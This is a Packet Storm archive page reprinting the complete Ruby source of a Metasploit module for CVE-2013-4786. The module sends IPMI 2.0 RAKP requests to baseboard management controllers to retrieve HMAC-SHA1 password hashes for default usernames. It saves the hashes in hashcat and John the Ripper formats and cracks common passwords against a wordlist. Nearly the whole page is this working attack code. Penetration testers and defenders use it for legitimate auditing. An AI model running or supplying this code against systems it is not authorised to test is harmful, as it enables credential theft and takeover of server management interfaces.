exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval

IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval
Posted Sep 1, 2024
Authored by H D Moore, Dan Farmer | Site metasploit.com

This Metasploit module identifies IPMI 2.0-compatible systems and attempts to retrieve the HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.

tags | exploit
advisories | CVE-2013-4786
SHA-256 | 8500cf1712e679811989409a7d9e020413fe28dd6b3f573d4069a4bbbf87d3d6

IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',
'Description' => %q|
This module identifies IPMI 2.0-compatible systems and attempts to retrieve the
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
|,
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],
['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367
['CVE', '2013-4786'],
['OSVDB', '95057'],
['BID', '61076'],
],
'DisclosureDate' => 'Jun 20 2013'
)

register_options(
[
Opt::RPORT(623),
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
]),
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
]),
OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),
OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),
OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),
OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])
])

end

def post_auth?
true
end

def ipmi_status(msg)
vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")
end

def ipmi_error(msg)
vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")
end

def ipmi_good(msg)
print_good("#{rhost}:#{rport} - IPMI - #{msg}")
end

def run_host(ip)

ipmi_status("Sending IPMI probes")

usernames = []
passwords = []

# Load up our username list (save on open fds)
::File.open(datastore['USER_FILE'], "rb") do |fd|
fd.each_line do |line|
usernames << line.strip
end
end
usernames << ""
usernames = usernames.uniq

# Load up our password list (save on open fds)
::File.open(datastore['PASS_FILE'], "rb") do |fd|
fd.each_line do |line|
passwords << line.gsub(/\r?\n?/, '')
end
end
passwords << ""
passwords = passwords.uniq

delay_value = datastore['SESSION_RETRY_DELAY'].to_i
max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i

self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
add_socket(self.udp_sock)

reported_vuln = false
session_succeeded = false

usernames.each do |username|
console_session_id = Rex::Text.rand_text(4)
console_random_id = Rex::Text.rand_text(16)

ipmi_status("Trying username '#{username}'...")

rakp = nil
sess = nil
sess_data = nil

# It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)
1.upto(max_session_attempts) do |attempt|

r = nil
1.upto(3) do
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))
r = udp_recv(5.0)
break if r
end

unless r
ipmi_status("No response to IPMI open session request")
rakp = nil
break
end

sess = process_opensession_reply(*r)
unless sess
ipmi_status("Could not understand the response to the open session request")
rakp = nil
break
end

if sess.data.length < 8
ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")
rakp = nil
sleep(delay_value) if session_succeeded
next # break
end

session_succeeded = true

sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)

r = nil
1.upto(3) do
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))
r = udp_recv(5.0)
break if r
end

unless r
ipmi_status("No response to RAKP1 message")
next
end

rakp = process_rakp1_reply(*r)
unless rakp
ipmi_status("Could not understand the response to the RAKP1 request")
rakp = nil
break
end

# Sleep and retry on session ID errors
if rakp.error_code == 2
ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")
Rex.sleep(1)
next
end

if rakp.error_code != 0
ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
rakp = nil
break
end

# TODO: Finish documenting this error field
if rakp.ignored1 != 0
ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")
rakp = nil
break
end

# Check if there is hash data
if rakp.data.length < 56
rakp = nil
break
end

# Break out of the session retry code if we make it here
break
end

# Skip to the next user if we didnt get a valid response
next if !rakp

# Calculate the salt used in the hmac-sha1 hash
rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)
hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(
console_session_id,
sess_data.bmc_session_id,
console_random_id,
rakp_data.bmc_random_id,
rakp_data.bmc_guid,
0x14,
username
)

sha1_salt = hmac_buffer.unpack("H*")[0]
sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]

if sha1_hash == "0000000000000000000000000000000000000000"
ipmi_error("Returned a bogus SHA1 hash for username #{username}")
next
end

ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")

write_output_files(rhost, username, sha1_salt, sha1_hash)

# Write the rakp hash to the database
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
core_id = report_hash(username, hash)
# Write the vulnerability to the database
unless reported_vuln
report_vuln(
:host => rhost,
:port => rport,
:proto => 'udp',
:sname => 'ipmi',
:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',
:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",
:refs => self.references
)
reported_vuln = true
end

# Offline crack common passwords and report clear-text credentials
next unless datastore['CRACK_COMMON']

passwords.uniq.each do |pass|
pass = pass.strip
next unless pass.length > 0
next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)
ipmi_good("Hash for user '#{username}' matches password '#{pass}'")

# Report the clear-text credential to the database
report_cracked_cred(username, pass, core_id)
break
end
end
end

def process_opensession_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP
info
end

def process_rakp1_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2
info
end


def write_output_files(rhost, username, sha1_salt, sha1_hash)
if datastore['OUTPUT_HASHCAT_FILE']
::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|
fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
fd.flush
end
end

if datastore['OUTPUT_JOHN_FILE']
::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|
fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
fd.flush
end
end
end

def service_data
{
address: rhost,
port: rport,
service_name: 'ipmi',
protocol: 'udp',
workspace_id: myworkspace_id
}
end

def report_hash(user, hash)
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: 'rakp',
username: user,
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)

cl = create_credential_login(login_data)
cl ? cl.core_id : nil
end

def report_cracked_cred(user, password, core_id)
cred_data = {
core_id: core_id,
username: user,
password: password
}

create_cracked_credential(cred_data)
end

#
# Helper methods (these didn't quite fit with existing mixins)
#

attr_accessor :udp_sock

def udp_send(data)
begin
udp_sock.sendto(data, rhost, datastore['RPORT'], 0)
rescue ::Interrupt
raise $!
rescue ::Exception
end
end

def udp_recv(timeo)
r = udp_sock.recvfrom(65535, timeo)
r[1] ? r : nil
end

def rhost
datastore['RHOST']
end

def rport
datastore['RPORT']
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close